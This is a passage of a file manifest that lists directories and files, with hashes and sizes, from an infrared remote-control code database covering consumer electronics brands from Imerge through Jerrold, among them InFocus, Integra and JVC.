-F:0aca386effa1fde2d08a3db4e5585ddd:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/165,-1.ir -F:196a431db43e1ac8d1af6e4bfd6486ca:126:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/166,-1.ir -F:a4ed7d2587ec9246ad4126d929602c46:1652:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/191,-1.ir -F:d3191457b603a83e893b0454ee267916:867:infrared/_CSV-IRDB_/Imerge/Digital Jukebox/255,-1.ir -D:infrared/_CSV-IRDB_/InFocus/DLP Projector -D:infrared/_CSV-IRDB_/InFocus/Plasma -D:infrared/_CSV-IRDB_/InFocus/Projector -D:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600 -D:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay -D:infrared/_CSV-IRDB_/InFocus/Unknown_remote -D:infrared/_CSV-IRDB_/InFocus/Video Projector -F:42d68f6a67ab2207a588672145078887:2924:infrared/_CSV-IRDB_/InFocus/DLP Projector/15,-1.ir -F:18fe42d3dbd50411c43d26c42a5cab70:2954:infrared/_CSV-IRDB_/InFocus/Plasma/7,-1.ir -F:22624c1e40bb648c526612b57d583c80:3091:infrared/_CSV-IRDB_/InFocus/Projector/135,78.ir -F:08aa86464b645faaafa4a1df1b8ec809:1383:infrared/_CSV-IRDB_/InFocus/Unknown_InFocus-SP8600/49,-1.ir -F:6cb09ed31eb99ec33f412fec170fe3c7:1740:infrared/_CSV-IRDB_/InFocus/Unknown_ScreenPlay/135,78.ir -F:48ac7f12514c439fadbde793980874d7:940:infrared/_CSV-IRDB_/InFocus/Unknown_remote/135,78.ir -F:01ef2a1a67d9f393bad53d5a3bbb6b86:118:infrared/_CSV-IRDB_/InFocus/Video Projector/1,-1.ir -F:6e4d01e84688ad64b928be6b5dc39012:1990:infrared/_CSV-IRDB_/InFocus/Video Projector/123,2.ir -F:adb86162c4cccb1adef5f1995babd02a:1389:infrared/_CSV-IRDB_/InFocus/Video Projector/131,85.ir -F:3cdee1fc4db86b9c8a3a506abd516b51:8898:infrared/_CSV-IRDB_/InFocus/Video Projector/135,78.ir -F:42d68f6a67ab2207a588672145078887:2924:infrared/_CSV-IRDB_/InFocus/Video Projector/15,-1.ir -F:3380020b546d74c0bea14278c841c3f2:1108:infrared/_CSV-IRDB_/InFocus/Video Projector/2,1.ir -F:310231a73028b9921375cfc46bd7faeb:2829:infrared/_CSV-IRDB_/InFocus/Video Projector/78,135.ir -F:0562d68c8d1f221882ad593f3b042730:1450:infrared/_CSV-IRDB_/InFocus/Video Projector/80,79.ir -D:infrared/_CSV-IRDB_/Insignia/Blu-Ray -D:infrared/_CSV-IRDB_/Insignia/DVD Player -D:infrared/_CSV-IRDB_/Insignia/TV -D:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301 -F:7dded1f7fdb71c8212e22905dd1333c7:3232:infrared/_CSV-IRDB_/Insignia/Blu-Ray/133,237.ir -F:5a8c1d97c6f1bfe8a0e740149b06cef1:3732:infrared/_CSV-IRDB_/Insignia/Blu-Ray/135,34.ir -F:5a8c1d97c6f1bfe8a0e740149b06cef1:3732:infrared/_CSV-IRDB_/Insignia/DVD Player/135,34.ir -F:8aa6233a594c20068697bebe84cdd7bf:3736:infrared/_CSV-IRDB_/Insignia/TV/134,5.ir -F:803a9aafbff4ca211a6bd2b6a1dcb448:4267:infrared/_CSV-IRDB_/Insignia/Unknown_WIR147002-8301/67,71.ir -D:infrared/_CSV-IRDB_/Instant Replay/VCR -F:3dc720876879354c976b92438b8cbf52:3098:infrared/_CSV-IRDB_/Instant Replay/VCR/2,-1.ir -F:efa1568c26f7460a1132a5ed33c233e8:210:infrared/_CSV-IRDB_/Instant Replay/VCR/25,-1.ir -F:1b5a55be0ecf265ff69602c0d4ce0a2d:301:infrared/_CSV-IRDB_/Instant Replay/VCR/3,-1.ir -F:72f0e53b10df6e7e18b8155a42fe78a6:2856:infrared/_CSV-IRDB_/Instant Replay/VCR/96,-1.ir -F:be40d5e60da042693c6bf184183cdb5e:124:infrared/_CSV-IRDB_/Instant Replay/VCR/97,-1.ir -D:infrared/_CSV-IRDB_/Integra/Amplifier -D:infrared/_CSV-IRDB_/Integra/Blu-Ray -D:infrared/_CSV-IRDB_/Integra/CD Player -D:infrared/_CSV-IRDB_/Integra/DVD Player -D:infrared/_CSV-IRDB_/Integra/Digital Audio -D:infrared/_CSV-IRDB_/Integra/HD DVD -D:infrared/_CSV-IRDB_/Integra/Integrated Amplifier -D:infrared/_CSV-IRDB_/Integra/Media PC -D:infrared/_CSV-IRDB_/Integra/Pre-Amplifier -D:infrared/_CSV-IRDB_/Integra/Receiver -D:infrared/_CSV-IRDB_/Integra/Tuner -D:infrared/_CSV-IRDB_/Integra/iPod -F:4ecc0e1c814365465f1102f29f767c92:2808:infrared/_CSV-IRDB_/Integra/Amplifier/210,109.ir -F:495ce350e1a5cb3d5c645de65ea066aa:1108:infrared/_CSV-IRDB_/Integra/Amplifier/71,-1.ir -F:a60e57bd9a6e42cec4388bf5c99c6117:3940:infrared/_CSV-IRDB_/Integra/Blu-Ray/210,31.ir -F:38ef7f553768b67ced02abe17442515d:3933:infrared/_CSV-IRDB_/Integra/CD Player/210,44.ir -F:4698efe4f71bbd6db94ca5ed5e23271d:4782:infrared/_CSV-IRDB_/Integra/DVD Player/210,31.ir -F:41e509c8aa12ca5b510f953a2b961d6a:18064:infrared/_CSV-IRDB_/Integra/DVD Player/210,43.ir -F:3c436d12458a3028f17ea224758481f9:4489:infrared/_CSV-IRDB_/Integra/DVD Player/69,181.ir -F:f1c090de8bcfc446397f84e636609f2a:734:infrared/_CSV-IRDB_/Integra/Digital Audio/210,3.ir -F:e6ff20df8c6087c8bd03e6dc0a7ae282:123:infrared/_CSV-IRDB_/Integra/Digital Audio/210,4.ir -F:3a62ba0e120137d20c2fff27a1b43e34:2925:infrared/_CSV-IRDB_/Integra/Digital Audio/210,9.ir -F:3c436d12458a3028f17ea224758481f9:4489:infrared/_CSV-IRDB_/Integra/HD DVD/69,181.ir -F:4ecc0e1c814365465f1102f29f767c92:2808:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/210,109.ir -F:495ce350e1a5cb3d5c645de65ea066aa:1108:infrared/_CSV-IRDB_/Integra/Integrated Amplifier/71,-1.ir -F:6cbfb925911a422aea12a62e22985e5a:6810:infrared/_CSV-IRDB_/Integra/Media PC/4,15.ir -F:35e5b30ba3861eccd21dc5156081698e:3062:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,108.ir -F:a1042499c9e7e436fbcb3a06cc2533b0:2449:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,109.ir -F:2d5c9025e9e39a6a98a7ef9656c9c9bb:1289:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,172.ir -F:f721b2b4368b8f1e939eaab1fca994b9:5809:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,2.ir -F:61d58efac453e1bd70fc8c2c7be908be:2954:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,25.ir -F:f6d256d8840eb8ccde25997dce6ae8b1:6328:infrared/_CSV-IRDB_/Integra/Pre-Amplifier/210,30.ir -F:3e3915e4c143323679a685f1210c88d5:208:infrared/_CSV-IRDB_/Integra/Receiver/210,1.ir -F:7fec46cbd4780214860313425d83271b:22928:infrared/_CSV-IRDB_/Integra/Receiver/210,108.ir -F:e1c660005fb350fbcd2b70760b471550:32075:infrared/_CSV-IRDB_/Integra/Receiver/210,109.ir -F:1160d42a57860b7749203fb241f02c51:6147:infrared/_CSV-IRDB_/Integra/Receiver/210,17.ir -F:aa7c0c66a7504ecd3040ee88539c42b8:5688:infrared/_CSV-IRDB_/Integra/Receiver/210,172.ir -F:1bcd37b2a40330cf3f46b74a44baad09:1857:infrared/_CSV-IRDB_/Integra/Receiver/210,18.ir -F:ff67c0c54761749ef5d0ccec6234f343:481:infrared/_CSV-IRDB_/Integra/Receiver/210,19.ir -F:25530c79180ca53ec82a2bad7ab484c2:14463:infrared/_CSV-IRDB_/Integra/Receiver/210,2.ir -F:de1b3c2875e99c08d79b0e7d5e50d455:5252:infrared/_CSV-IRDB_/Integra/Receiver/210,20.ir -F:46c4c40e385ce4cf3131662f7a575ef2:4742:infrared/_CSV-IRDB_/Integra/Receiver/210,21.ir -F:0c0a0265cf701a3d4208b6a404a70350:1494:infrared/_CSV-IRDB_/Integra/Receiver/210,22.ir -F:5a6e54b4b8f26e69dd22566e83c017d2:386:infrared/_CSV-IRDB_/Integra/Receiver/210,23.ir -F:c4216e079385519b40aa6996ef9ecff5:3267:infrared/_CSV-IRDB_/Integra/Receiver/210,24.ir -F:4f0db5b896dac822b22f2d9572d5bbe9:6565:infrared/_CSV-IRDB_/Integra/Receiver/210,25.ir -F:7361831a37e32d6398823356c2e89351:10916:infrared/_CSV-IRDB_/Integra/Receiver/210,30.ir -F:4c863d9c00b3e22e989005e45007e349:122:infrared/_CSV-IRDB_/Integra/Receiver/210,43.ir -F:3dfccea088a27b3dc09c17024f0a2d16:203:infrared/_CSV-IRDB_/Integra/Tuner/210,109.ir -F:bafc54e29a446d4b6cb6ee5b3ed48408:951:infrared/_CSV-IRDB_/Integra/Tuner/210,2.ir -F:e70046ce278224714f82b82e41ce418b:1325:infrared/_CSV-IRDB_/Integra/iPod/210,108.ir -F:590cac230cf298987c0dcd0e4fa505c0:779:infrared/_CSV-IRDB_/Integra/iPod/210,109.ir -F:7ff2c42939b09d5480e8ad4902f5269a:1494:infrared/_CSV-IRDB_/Integra/iPod/210,172.ir -F:b81d34157e4d275dbb61eac73df55b19:2073:infrared/_CSV-IRDB_/Integra/iPod/210,2.ir -D:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio -F:b69089386a4c54658ab162ac01d5254a:2737:infrared/_CSV-IRDB_/IntelliNet Controls/Distributed Audio/0,90.ir -D:infrared/_CSV-IRDB_/Interact/Unknown_I-22121 -F:174d3790aa56d5ef555ea217800b8c17:1487:infrared/_CSV-IRDB_/Interact/Unknown_I-22121/0,-1.ir -D:infrared/_CSV-IRDB_/Intervideo/VCR -F:08f90063c08158ced8657dd0f80e5d27:3783:infrared/_CSV-IRDB_/Intervideo/VCR/49,-1.ir -D:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision -F:6a980a83f315773463c5763e8ee3e144:2793:infrared/_CSV-IRDB_/Intervision/Unknown_Intervision/134,107.ir -D:infrared/_CSV-IRDB_/Irradio/3331_DVB-T -D:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V -F:a1dfca60f604ce62b93be7216391d7a7:2974:infrared/_CSV-IRDB_/Irradio/3331_DVB-T/1,254.ir -F:5b9b827a25ad07e5f3c16a5cfc1430af:1745:infrared/_CSV-IRDB_/Irradio/Unknown_IrradioHIFI1300V/162,162.ir -D:infrared/_CSV-IRDB_/JBL/Receiver -D:infrared/_CSV-IRDB_/JBL/Surround Processor -F:ad64fffb1c2eabd418ee5a089939e1af:2166:infrared/_CSV-IRDB_/JBL/Receiver/64,47.ir -F:6e79deba953c1d6d9b4f89a633841d78:6987:infrared/_CSV-IRDB_/JBL/Surround Processor/130,11.ir -F:0c8fb1e28ef587c89c8f14564fe44d8f:2978:infrared/_CSV-IRDB_/JBL/Surround Processor/132,66.ir -F:1883d6a0beee0cb6cc98b5e64ad0b775:3336:infrared/_CSV-IRDB_/JBL/Surround Processor/28,-1.ir -D:infrared/_CSV-IRDB_/JENSEN/VCR -F:7d239f7b17ff68fb490ab8f6b691cc75:1987:infrared/_CSV-IRDB_/JENSEN/VCR/1,-1.ir -D:infrared/_CSV-IRDB_/JVC/CD Jukebox -D:infrared/_CSV-IRDB_/JVC/CD Player -D:infrared/_CSV-IRDB_/JVC/Camcorder -D:infrared/_CSV-IRDB_/JVC/Cassette Tape -D:infrared/_CSV-IRDB_/JVC/D-VHS -D:infrared/_CSV-IRDB_/JVC/DVD Player -D:infrared/_CSV-IRDB_/JVC/DVD Recorder -D:infrared/_CSV-IRDB_/JVC/HD-ILA Projection -D:infrared/_CSV-IRDB_/JVC/Karaoke -D:infrared/_CSV-IRDB_/JVC/LCD -D:infrared/_CSV-IRDB_/JVC/LCD TV -D:infrared/_CSV-IRDB_/JVC/Mini System -D:infrared/_CSV-IRDB_/JVC/Monitor -D:infrared/_CSV-IRDB_/JVC/Plasma -D:infrared/_CSV-IRDB_/JVC/Projector -D:infrared/_CSV-IRDB_/JVC/Receiver -D:infrared/_CSV-IRDB_/JVC/S-VHS -D:infrared/_CSV-IRDB_/JVC/Satellite -D:infrared/_CSV-IRDB_/JVC/Switcher -D:infrared/_CSV-IRDB_/JVC/TV -D:infrared/_CSV-IRDB_/JVC/Tuner -D:infrared/_CSV-IRDB_/JVC/Unknown_440 -D:infrared/_CSV-IRDB_/JVC/Unknown_JVC -D:infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W -D:infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500 -D:infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002 -D:infrared/_CSV-IRDB_/JVC/Unknown_PQ10543 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C360 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C410 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C462 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C530 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C670 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-C678 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4 -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U -D:infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U -D:infrared/_CSV-IRDB_/JVC/Unknown_SXV037J -D:infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr -D:infrared/_CSV-IRDB_/JVC/Unknown_remote -D:infrared/_CSV-IRDB_/JVC/Unknown_rm-c241 -D:infrared/_CSV-IRDB_/JVC/Unknown_sw -D:infrared/_CSV-IRDB_/JVC/VCR -D:infrared/_CSV-IRDB_/JVC/Video Projector -D:infrared/_CSV-IRDB_/JVC/Video Switcher -F:4310a89479bce1a22eee1b131eabf130:2251:infrared/_CSV-IRDB_/JVC/CD Jukebox/179,0.ir -F:2f030bb4482d5a9a0573017b5db45020:392:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,33.ir -F:3b7a9293d309dd5ab53361537833aa91:3054:infrared/_CSV-IRDB_/JVC/CD Jukebox/34,48.ir -F:2a50331ebc9b2a7a957becf91c8bade2:16104:infrared/_CSV-IRDB_/JVC/CD Player/179,-1.ir -F:91a9b86a3fb67b4f8b288684a7bc101c:12958:infrared/_CSV-IRDB_/JVC/CD Player/179,0.ir -F:89d2ea7c62ec7b0c85dcdc5a22d5cce0:478:infrared/_CSV-IRDB_/JVC/CD Player/34,33.ir -F:a314d88d5da811b40173119bb3697a5a:4629:infrared/_CSV-IRDB_/JVC/CD Player/34,48.ir -F:99b80f96354c0754a1035e49c933ff48:2032:infrared/_CSV-IRDB_/JVC/Camcorder/211,-1.ir -F:36f5c00754cc97d5aec5aef170072860:598:infrared/_CSV-IRDB_/JVC/Camcorder/67,-1.ir -F:22dabc9db9e0245c568b6e8f63f8d704:2281:infrared/_CSV-IRDB_/JVC/Cassette Tape/131,-1.ir -F:16681b6c81fd1a78850a256baa5b5541:3753:infrared/_CSV-IRDB_/JVC/D-VHS/67,-1.ir -F:62c411c9ce9b93360b3b2ee7dd99845c:1727:infrared/_CSV-IRDB_/JVC/DVD Player/179,-1.ir -F:46ce6c26715ac094bf891dce78648396:11985:infrared/_CSV-IRDB_/JVC/DVD Player/239,-1.ir -F:a779fee73658dda6ffc3bf6fca006529:767:infrared/_CSV-IRDB_/JVC/DVD Player/26,-1.ir -F:3960271a8fb5c24accf296648829e70f:4972:infrared/_CSV-IRDB_/JVC/DVD Recorder/111,-1.ir -F:beaf0de3ccec0232577c31993ad087e1:2890:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/115,-1.ir -F:268e45f7e06533a02686583140c12940:223:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/15,-1.ir -F:58b4073b4dd628205a48bcac004c8ef4:4160:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/3,-1.ir -F:2d58943001aee8e33ea4b33475eb7508:124:infrared/_CSV-IRDB_/JVC/HD-ILA Projection/67,-1.ir -F:bb7bf251e1ebc04bd3232bafef5fb860:127:infrared/_CSV-IRDB_/JVC/Karaoke/179,-1.ir -F:d1207d44154fc6058599f22eceb1a191:2166:infrared/_CSV-IRDB_/JVC/Karaoke/191,-1.ir -F:365cacc5446292b3454a38883026b7b9:209:infrared/_CSV-IRDB_/JVC/Karaoke/3,-1.ir -F:3479d60cbab35cb865efe82507633524:120:infrared/_CSV-IRDB_/JVC/LCD/15,-1.ir -F:b63c41639f9abc1213d331963a2aae62:2091:infrared/_CSV-IRDB_/JVC/LCD/3,-1.ir -F:543fc30355f6a71f658edc9390037871:491:infrared/_CSV-IRDB_/JVC/LCD/35,-1.ir -F:76f93c94647535b3a07ff777b3bc0d51:120:infrared/_CSV-IRDB_/JVC/LCD/67,-1.ir -F:37994f930dac49ec6ab4a78992642a03:1193:infrared/_CSV-IRDB_/JVC/LCD TV/3,-1.ir -F:411f00f5b990ebe3f0c938b2bed4a893:1043:infrared/_CSV-IRDB_/JVC/Mini System/131,-1.ir -F:6eb5d3a4adcdf86005b075307961a39d:1829:infrared/_CSV-IRDB_/JVC/Mini System/159,-1.ir -F:a862450c26abb76756c53d0588877008:1976:infrared/_CSV-IRDB_/JVC/Mini System/163,-1.ir -F:0d0f0b0a299622e56628b7c1210ec836:1317:infrared/_CSV-IRDB_/JVC/Mini System/175,-1.ir -F:345788c031d509b3b0d11a3cf324b19c:3605:infrared/_CSV-IRDB_/JVC/Mini System/179,-1.ir -F:ddc8b8bbdeb5a63503fc20b801d053ed:210:infrared/_CSV-IRDB_/JVC/Mini System/31,-1.ir -F:2484bbfc407d2f8ad280fb1a10643861:6508:infrared/_CSV-IRDB_/JVC/Monitor/3,-1.ir -F:29ffe0fb53ea12118e8e7ea20896b482:1842:infrared/_CSV-IRDB_/JVC/Monitor/67,-1.ir -F:4fa6f216d42ccc9631a0a1ab6a299da2:306:infrared/_CSV-IRDB_/JVC/Plasma/31,-1.ir -F:1ac2e1fea6ed79c53ac8c747e7408bff:4800:infrared/_CSV-IRDB_/JVC/Projector/115,-1.ir -F:d660e634e4d1f58b4890c5879d59e782:686:infrared/_CSV-IRDB_/JVC/Receiver/1,-1.ir -F:4acd0228d10c7ee012d4202a0cb1e07b:592:infrared/_CSV-IRDB_/JVC/Receiver/121,-1.ir -F:813945a4a3983f9e4f0801783426952f:9475:infrared/_CSV-IRDB_/JVC/Receiver/131,-1.ir -F:c681ee49ce3200a5a0de793676b2636e:3588:infrared/_CSV-IRDB_/JVC/Receiver/147,-1.ir -F:9cbc5453341b7c9596cab684a75e439a:4415:infrared/_CSV-IRDB_/JVC/Receiver/159,-1.ir -F:459ffa6617d5ad0651c7de4616fb1b07:27628:infrared/_CSV-IRDB_/JVC/Receiver/163,-1.ir -F:3b1d740c340642cd5084d4dc74c4ff54:1982:infrared/_CSV-IRDB_/JVC/Receiver/175,-1.ir -F:c7d591e6cfde4388084599814cf655f8:16750:infrared/_CSV-IRDB_/JVC/Receiver/179,-1.ir -F:bde813d9c2e22c8a84c3924dee0f1d31:1729:infrared/_CSV-IRDB_/JVC/Receiver/191,-1.ir -F:108ee63a1e78a4cf6d1dad9de059067b:130:infrared/_CSV-IRDB_/JVC/Receiver/239,-1.ir -F:18512c7844f52b3ddeabdeb37f47ce78:7890:infrared/_CSV-IRDB_/JVC/Receiver/3,-1.ir -F:291c059fcab85801130c04a353568627:220:infrared/_CSV-IRDB_/JVC/Receiver/34,84.ir -F:5a715a8073026ae7c76318605f486318:9788:infrared/_CSV-IRDB_/JVC/Receiver/67,-1.ir -F:50a82bc9af2b146a4db8eb747cdf1ec3:2415:infrared/_CSV-IRDB_/JVC/Receiver/83,-1.ir -F:71619b1a0f5bf205317c74b40a5a012a:2004:infrared/_CSV-IRDB_/JVC/S-VHS/67,-1.ir -F:02e8e2250d001a532f460b5e979111ff:1116:infrared/_CSV-IRDB_/JVC/Satellite/0,0.ir -F:f7efd237f8c66abb289613682eee4a62:203:infrared/_CSV-IRDB_/JVC/Satellite/16,0.ir -F:93264c6e3ecddd01f130140c2a5f4f84:1237:infrared/_CSV-IRDB_/JVC/Satellite/24,0.ir -F:0e8c6f98faef056e67c26745e611b2e9:384:infrared/_CSV-IRDB_/JVC/Satellite/8,0.ir -F:5a3a82b34a43bb8df05ac798463a7f48:2027:infrared/_CSV-IRDB_/JVC/Switcher/243,-1.ir -F:9e98ba35a7d6707338210cc85117d545:487:infrared/_CSV-IRDB_/JVC/TV/15,-1.ir -F:e5096505236cc15d74e85e7e71b9248d:10292:infrared/_CSV-IRDB_/JVC/TV/3,-1.ir -F:cd5a6b8cc4ed84138a917ad008ff8e2e:654:infrared/_CSV-IRDB_/JVC/TV/31,-1.ir -F:2d58943001aee8e33ea4b33475eb7508:124:infrared/_CSV-IRDB_/JVC/TV/67,-1.ir -F:97ba6aedc3a33d7a67b6232f578a8b8c:770:infrared/_CSV-IRDB_/JVC/Tuner/131,-1.ir -F:47e1c616f4800d5234f6335b3d3a4966:1691:infrared/_CSV-IRDB_/JVC/Tuner/147,-1.ir -F:4be894e3ae50305896fda3fd09906193:4283:infrared/_CSV-IRDB_/JVC/Tuner/163,-1.ir -F:192407b95d573dcef51cb40aceda3446:2146:infrared/_CSV-IRDB_/JVC/Tuner/179,-1.ir -F:733fe776a2fbcdf65fc9707c1af0aa4b:302:infrared/_CSV-IRDB_/JVC/Tuner/3,-1.ir -F:a475a42c2c037ee5358972901e6240ef:852:infrared/_CSV-IRDB_/JVC/Tuner/67,-1.ir -F:0443d792b66c2ec52b6878272dd2710e:2077:infrared/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir -F:5aae76ad558b8e4eb91de535d754b249:2406:infrared/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir -F:b6adc3905e835a3a412a014280ec0618:2532:infrared/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir -F:881a6dbf0c7cb74b1f141d945ca808bf:3499:infrared/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir -F:8a16a19910f6509ffe64c4e92a2b486c:2594:infrared/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir -F:4f2e0927f8bbd6237d994cc5e25d08e0:1875:infrared/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir -F:62142c020ee63878e699a2086119e7c2:2515:infrared/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir -F:0ff7127bf8f6b61d29c41365ceaa644f:2614:infrared/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir -F:c75d1172011c8246d6d44eeea972f4c4:2344:infrared/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir -F:3e923f83c144f95d820ed4b7a66a8fe5:2466:infrared/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir -F:c54f9b0b2b8f189c30ef30fa6e92bda9:2378:infrared/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir -F:5835a99c0ac66d43d9cce73f7c47886e:3069:infrared/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir -F:bfcc9e4cebb355cdd6688406d8475132:2532:infrared/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir -F:7283b84ebbcb852ba4356689745944fb:838:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir -F:d8953ceb33c68e627da80b21f2bd2b1b:848:infrared/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir -F:51158aafdc6f8fbc3f04092489dbaa67:2898:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir -F:26d97b97a6bdd3994b4217e7bb84f10e:1622:infrared/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir -F:539542bbb76e82807b84077c8991634f:4381:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir -F:4b94659fc9583f9c5aabd129c5f607f7:2954:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir -F:7d950fc7dd7638d255d1ef65f5075185:3508:infrared/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir -F:54d5616ef6f45ca85b4fd180705e89d9:1991:infrared/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir -F:6f55ac4e3017ed75a66f182905d885be:2435:infrared/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir -F:9a634613006ca41db2c64fbc5ee0c603:3603:infrared/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir -F:763c5d9d559a4a5ec87d5c8016e62680:950:infrared/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir -F:742929cd9e13e38ff3f0b54433a2c46c:1748:infrared/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir -F:7fd4be1062a2031017d8160c67a204db:1537:infrared/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir -F:307be11475866e092be16449f6d309a0:3818:infrared/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir -F:1973abfa4a44332728e0285186d00ce9:4150:infrared/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir -F:7404a907a62890f865b3563b574ff62f:3492:infrared/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir -F:e7634c3ced181f585100b9bb683d52c1:2165:infrared/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir -F:a5791137d360267531765ea47a2b1894:1429:infrared/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir -F:2df960eaa2617684b252c6db354382ee:2012:infrared/_CSV-IRDB_/JVC/VCR/0,14.ir -F:9dc01bab86bf9d70bceb52a0b06587f2:5144:infrared/_CSV-IRDB_/JVC/VCR/1,-1.ir -F:c6d1bc62935c67797c492df9e5649de2:210:infrared/_CSV-IRDB_/JVC/VCR/1,14.ir -F:d897e6d8e2d44aa1843174a2388e3f88:490:infrared/_CSV-IRDB_/JVC/VCR/131,-1.ir -F:b7f4f716d9baa414d6c30334425344b1:2273:infrared/_CSV-IRDB_/JVC/VCR/163,-1.ir -F:3ee818c665ce1104e97f2d3ceb39a276:2017:infrared/_CSV-IRDB_/JVC/VCR/179,-1.ir -F:78ae23085ad245e45b61464063628839:9656:infrared/_CSV-IRDB_/JVC/VCR/3,-1.ir -F:0a411cc529100efe16c59062d4a28c0d:132:infrared/_CSV-IRDB_/JVC/VCR/5,1.ir -F:06f432f03b8e8070a2a3b7cb0a86af81:865:infrared/_CSV-IRDB_/JVC/VCR/64,-1.ir -F:65a583ccae2585b86c0ffa53aeba4728:58307:infrared/_CSV-IRDB_/JVC/VCR/67,-1.ir -F:47462bc24a7614f078ce40a519932ba4:1371:infrared/_CSV-IRDB_/JVC/VCR/8,14.ir -F:d8d674439ab259bbf79b92d8e523735c:138:infrared/_CSV-IRDB_/JVC/VCR/80,-1.ir -F:000b41aacddd45564772f18ec4be3b0f:20757:infrared/_CSV-IRDB_/JVC/VCR/83,-1.ir -F:8b54e06df8b9031af788ce48bfb6178e:11375:infrared/_CSV-IRDB_/JVC/Video Projector/115,-1.ir -F:63ca7d47701d0dd74af53c43bb60409c:1074:infrared/_CSV-IRDB_/JVC/Video Projector/131,85.ir -F:c872bf0f55ec9b0d56ac68e1333a96bb:3139:infrared/_CSV-IRDB_/JVC/Video Switcher/243,-1.ir -D:infrared/_CSV-IRDB_/Jamo/DVD Receiver -F:e2458cb32b3ba9238dbec2ff32153085:4771:infrared/_CSV-IRDB_/Jamo/DVD Receiver/25,-1.ir -D:infrared/_CSV-IRDB_/Jerrold/Cable Box -D:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd -D:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000 -D:infrared/_CSV-IRDB_/Jerrold/Unknown_MRC -D:infrared/_CSV-IRDB_/Jerrold/Unknown_RC-OSD -F:929f20c7ed26f47df0e5a661b0eac774:4906:infrared/_CSV-IRDB_/Jerrold/Cable Box/0,-1.ir -F:7096f8b9ccfca07fc669daacf9d24b2b:383:infrared/_CSV-IRDB_/Jerrold/Cable Box/1,-1.ir -F:65e6fa072a52536c76ea7c7c6898bb99:2401:infrared/_CSV-IRDB_/Jerrold/Unknown_550-osd/0,-1.ir -F:c9e37bff39daea6afb88a83683e7078a:1345:infrared/_CSV-IRDB_/Jerrold/Unknown_CFT2000/0,-1.ir 